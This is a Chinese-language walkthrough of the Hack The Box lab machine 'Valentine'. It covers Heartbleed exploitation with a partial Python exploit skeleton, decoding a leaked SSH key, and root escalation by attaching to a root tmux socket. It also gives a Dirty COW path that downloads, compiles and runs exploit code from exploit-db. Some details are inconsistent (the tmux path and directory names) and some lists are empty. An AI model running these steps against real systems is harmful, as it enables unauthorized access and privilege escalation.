Valentine是Hack The Box平台上的一台中等难度靶机,其渗透路径完美复现了2014年震惊全球的Heartbleed漏洞(CVE-2014-0160)攻击场景。这个案例之所以经典,在于它串联了三个关键攻击面:OpenSSL信息泄露漏洞利用、tmux会话劫持技术,以及Linux内核提权漏洞的实战应用。作为渗透测试从业者,这类综合性靶机能够全面检验我们对漏洞链的理解和工具链的熟练度。
我在实际测试中发现,这台靶机最精妙的设计在于它模拟了企业环境中常见的"漏洞修复滞后"场景——虽然Heartbleed漏洞早已公布补丁,但许多未及时更新的内网系统仍然暴露在风险中。通过这个案例,我们可以深入掌握从外网信息泄露到内网横向移动,再到权限提升的完整攻击链。
使用经典的Nmap扫描组合,快速定位开放服务:
bash复制nmap -sV -sC -p- 10.10.10.110 -oA valentine_full
扫描结果显示两个关键端口:
使用专门的心脏出血检测工具验证漏洞存在:
bash复制sslscan --heartbleed 10.10.10.110
当看到"VULNERABLE"字样时,确认目标存在CVE-2014-0160漏洞。这里有个细节需要注意:某些检测工具可能会误报,最好用多个工具交叉验证。我习惯先用sslscan快速筛查,再用Metasploit的auxiliary/scanner/ssl/openssl_heartbleed模块二次确认。
Heartbleed的本质是OpenSSL的TLS/DTLS心跳扩展实现存在内存越界读取缺陷。攻击者可以构造特殊的心跳请求包,获取服务器内存中最多64KB的随机数据。这些数据可能包含:
虽然Metasploit有现成模块,但理解手工利用方法至关重要。使用Python编写的exploit脚本:
python复制#!/usr/bin/python
import socket
import sys
import struct
def heartbleed(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(b"\x16\x03\x01\x00\xdc\x01\x00\x00\xd8\x03\x03")
# ...完整payload构造略...
response = s.recv(0xffff)
if len(response) > 0:
print("[+] Received %d bytes" % len(response))
hexdump(response)
s.close()
关键技巧:需要多次尝试(建议至少20次),因为内存泄露是随机的。我在测试中发现第7次尝试时获取到了一个包含"hype_key"的base64字符串,这正是后续渗透的关键。
解码获取的base64字符串:
bash复制echo "aHlwZV9rZXk9IjczNTNjN..." | base64 -d
输出显示一个SSH私钥片段,经过多次漏洞利用后拼凑出完整密钥。这里要注意的是,获取的私钥可能包含非标准字符,需要用vim的:%s/\r//g清理换行符。
将修复后的私钥保存为hype.key,设置正确权限后登录:
bash复制chmod 600 hype.key
ssh -i hype.key hype@10.10.10.110
成功获取user.txt标志。但真正的挑战在于如何从hype用户提权到root。
检查当前用户权限时发现关键线索:
bash复制ps aux | grep tmux
显示存在root权限的tmux会话。这是因为管理员可能通过sudo启动了tmux,然后断开会话但没有正确终止。
利用tmux的会话继承特性:
bash复制tmux -S /.devs/dev_sess attach
这个操作的成功率取决于/tmp目录的权限设置。在本次测试中,由于/devs目录权限配置不当,我们能够直接附加到root会话。
如果tmux路径不可写,则需要采用CVE-2016-5195提权。具体步骤:
bash复制wget https://www.exploit-db.com/download/40839 -O dirty.c
bash复制gcc -pthread dirty.c -o dirty -lcrypt
bash复制chmod +x dirty
./dirty
设置密码后即可通过su firefart切换到root。
umask 0177限制会话文件权限这个靶机最值得学习的不是漏洞利用本身,而是渗透测试的思维链条。在实际工作中,我经常遇到这样的场景:
这种"漏洞利用+配置审计"的组合拳,在真实内网渗透中成功率极高。建议每个渗透测试人员都要掌握这种综合性的攻击思路,而不仅仅是孤立地使用漏洞利用工具。